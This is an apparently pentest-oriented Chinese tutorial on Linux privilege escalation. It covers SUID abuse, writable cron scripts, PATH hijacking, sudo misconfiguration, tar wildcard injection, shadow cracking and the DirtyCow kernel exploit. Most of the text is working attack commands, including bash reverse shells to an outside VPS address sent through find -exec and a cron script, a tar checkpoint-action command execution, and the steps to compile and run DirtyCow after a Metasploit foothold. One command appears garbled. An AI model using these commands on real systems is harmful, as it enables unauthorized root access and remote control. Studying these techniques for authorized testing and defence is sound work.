上一篇文章讲了Windows的提权,那么这篇文章就来讲一下Linux的提权
1.SUID提权
suid权限
作用:让普通用户临时拥有该文件的属主的执行权限,suid权限只能应用在二进制可执行文件(命令)上,而且suid权限只能设置在属主位置上。
举个栗子,正常来说,我们普通用户去查看shadow文件肯定是看不了的
正常来说肯定是没有权限,如果管理员的错误配置,给了cat一个suid权限
导致了普通的用户也能以root身份去执行cat命令!!!(是不是和suid有点相似)!!
对于以下命令都是不能给suid权限的!!!
那么我们就从黑客的视角来试一下提权
先用以下的命令来查看一下有没有错误的配置
find / -user root -perm -4000 -print 2>/dev/null
成功发现了一个find的错误的配置
于是就可以尝试反弹shell了直接
先去开启一个nc监听
然后直接敲以下的命令,就能成功弹shell
find /etc/passwd -exec bash -c " bash -i >& /dev/tcp/"VPS的ip"/"VPS的端口" 0>&1" \;
2.计划任务提权
在Linux系统中,当我们需要在服务器上定时执行一些重复性的事件时使用的,可以通过Linux计划任务程序来运行准备好的脚本、批处理文件夹、程序或命令,在某个特定的时间运行。
计划任务在Linux 中一般使用 Crontab,通过 crontab 命令,我们可以在固定的间隔时间执行指定的系统指令或 Shell 脚本。
所以,假设我是一个运维人员,如果我想写一个脚本
#!/bin/bash
//我是逆天运维人员
写一个运维脚本
然后"不小心的chmod 777 了" 很多我身边的人都是直接chmod 777 的!!
并且配置了计划任务
那么下面,我们就用黑客视角来看看!!
先是是去查看一下计划任务!!!
cat /etc/crontab
发现有一个逆天运维人员配置了一个计划任务
于是再去查看一下它的权限
看到这个就知道我们可以去弹shell了!!!
echo "bash -i >& /dev/tcp/192.168.246.1/9191 0>&1 " >> damn.sh
然后监听,静待上线
看!!!直接提权(或者说弹了一个root身份的shell出来)
3.环境变量劫持
PATH是Linux和类Unix操作系统中的环境变量,类似Windows中的path环境变量,当我们执行一个命令的时候,shell会先去检查命令是否为系统内部的命令,如果不是则会再去检查此命令是否是一个应用程序,shell会试着从PATH中逐步的查找命令
其实这个感觉有点像SUID,但是也不完全像,??why ? 继续往下看
假设我是一个逆天运维人员,我想要去连续多次运行一些命令,但是又很长,那么我就将他变成一个exe,每当我运行这个exe,就是在执行我这个命令
然后编译成shell可执行文件
然后当我执行shell的时候,就是直接在运行cat /etc/passwd
然后如果又不小心地给他设置了SUID
那么我们就可以环境变量劫持,下面,就是精彩的开始!!!
我们的思路试能不能劫持它的cat变量,因为它的的cat是以system去执行的!!而我们的环境变量cat又可以自己定义,就导致了环境变量的劫持
黑客视角开始::!!!!
假如我是一个黑客,本来想着要suid提权,但是误打误撞,发现了一个不知道什么玩意
(请忽略我的find的suid位)那么我们就去试一下shell是个什么东西
发现,好好好,就你这个逆天运维,直接给我运行了cat /etc/passwd对吧
然后我们再去看一下权限??? !!!!! suid位!!!!
就可以去考虑提权了,下面,才是精彩开始!!!!!!
首先,我们去tmp目录下写一个环境变量
cd /tmp
然后敲以下的代码
echo "/bin/bash" >/tmp/cat
并且去将这个文件创建为一个新的环境变量
export PATH=/tmp:$PATH
然后我们就能看见一个新的环境变量
然后,从现在开始,只要我执行cat命令,就是在执行bash!!!然后,我们cd到根目录下
执行shell,这里不能再去用cat查看shadow文件噢!!! 因为cat已经被替换了!!
至此,就已经完成了Linux的提权 !! ??不信,非要我弹shell是吧
那行,必须满足,嘻嘻嘻嘻
4.sudo滥用
开始之前,先去敲一下这个命令
sudo -l
如果你能看见这样的界面,说明管理员很棒棒,配置的不错
如果是这样,那你还是换一个用户吧
好了,不开玩笑了,说一下sudo滥用吧
其中,我们看见的格式如下
所以就能明白一些错误配置的意思了
这个就是losy这个身份允许被root用户去执行python3
那么怎么查看对应的配置呢?
cat /etc/sudoers /这里可以进行配置
那么什么命令不能给sudo呢??这些命令给了就能提权还有tar.....
怎么提权呢
那么假设有这样的一个逆天环境
我们就能看见是所有人都可以用root权限去没有密码的执行sudo下的awk
直接提权!!!
5.WS通配符注入提权
在Linux中,通配符可以被用于模糊匹配,并且通配符的输入是由当前用户的shell去进行解析
* 表示匹配任意数量的字符
?表示匹配单个数量的字符
[] 表示匹配括号中的任意单个字符,并且可以使用字符-来表示范围,如[0-9]
有点云里雾里??? 没事。我们来举个栗子
touch 1.txt 2.txt 3.txt a.txt ab.txt abc.txt
然后我们就能看见这样的文件!!!
然后,我们分别来演示一下以上提到的东西,应该很浅显易懂吧!!!!
下面,就是精彩的开始 我们先来看这样的命令
ls --help
正常来说是不是就会显示一些ls的帮助用法,那如果我们这样呢???
echo "whoami@127.0.0.1" > --help
ls --help ///????????
那么这样,bug是不是就要出来了!!!!到底是显示我们刚才创建的内容,还是正常的显示help内容呢 ??? 嘻嘻嘻是,是不是感觉cpu开始转起来了 我们来看一下事实情况
它最后还是显示了help的系统设置,那么我们再来看这样的命令
ls *
这个的意思是不是就是查看当前文件夹的所有东西!!!但是如果是上面的情况呢??
ls 1.txt 2.txt 3.txt a.txt ab.txt abc.txt --help //等价于 ls *
是不是bug就出现了
所以相信聪明的各位已经大概懂了是什么意思了吧!!!
那么下面我们就来举一个例子了!!!
tar -czf 1.tgz 1.txt --checkpoint=1 --checkpoint-action=exec=whoami
这一条命令是用于打包的,并且是可以执行命令的(所以这个的suid和sudo都不能给)
那么假设有这样的一个场景,有些管理员想要将/var/www/html目录下的源代码进行打包。那么就是如下的命令
tar -czf sourcecode.tgz sourcecode.txt
这样就能将源代码进行备份,防止源代码被串改,然后写了个计划任务,每分钟备份一次
*/1 * * * * root tar -czf /home/wanli/source.tgz /var/www/html/ *
写了这样的一个计划任务,那么我们黑客在查看的时候发现了,于是就能通配符提权!!
但是呢,我只能说,这个命令是有问题的,如果你再本地直接运行,那没问题,肯定是能弹shell出去的
但是如果你用的是计划任务的话,你就会发现,它的计划任务执行了,但是并没有弹shell出来
而且在新版的Linux系统上,你直接创建--check-action=exec这样的文件也是会被引起来的,直接失效了,所以这个方法,ennnnn,不好评价
6.明文ROOT密码提权
如果我们能读到shadow文件,那么我们就可能有机会能爆破出密码
假设我们能读到shadow这个文件
$后面就是它的加密方式
然后你找对应的爆破工具用就好(不知道为什么我的join用不了,难崩了)
7.Linux内核提权
说了这么多的错误配置,怎么可能少得了内核提权呢??? 主要是因为配置的话,有一定的限制条件,但是内核的话就不用考虑了,直接提权!!!
1.DirtyCow(CVE-2016-5195)
存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞。Linux kernel团队在2016年10月18日已经对此进行了修复。
对于以下的版本都会有影响
即低于以下内核版本均存在该漏洞:
Centos7 /RHEL7 3.10.0-327.36.3.el7
Cetnos6/RHEL6 2.6.32-642.6.2.el6
Ubuntu 16.10 4.8.0-26.28
Ubuntu 16.04 4.4.0-45.66
Ubuntu 14.04 3.13.0-100.147
Debian 8 3.16.36-1+deb8u2
Debian 7 3.2.82-1
其实这个漏洞的原理,就是通过内核溢出,将原本不可以读或者写的文件进行覆写(如将shadow文件进行覆写,导致我们可以进行root登录)
那么,下面我们就来复现一下这个漏洞
首先,我们能拿到这样的一个站点
然后发现它的框架存在漏洞,于是就去msf利用一波
成功拿到meterpreter之后,就要去查看权限了
很好,权限很低,而且能判断出来不是docker环境
所以我们就要去提权
upload '/home/kali/Desktop/linux-exploit-suggester.sh'
先上传一个检测工具来检测一下!!!!
chmod 777 rm -rf linux-exploit-suggester.sh //记得放权
./linux-exploit-suggester.sh
然后是能检测出一个脏牛漏洞,于是开始提权
先把脏牛的poc传上去
然后解压,放权,一气呵成
unzip CVE-2016-5195-master.zip
chmod 777 CVE-2016-5195-master
然后记得编译
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
然后直接运行就好
ssh上去,就能拿到flag了!!!
所以最后总结一下,脏牛的原理就是
该漏洞具体为,Linux内核的内存子系统在处理写入复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。
对于内核提权,还有很多,如果不知道??
1.可以上传工具去扫
2.还可以这样,先uname -a 查看一下内核版本
然后把对应的斑斑贴上去就好(记得前面加一个linux)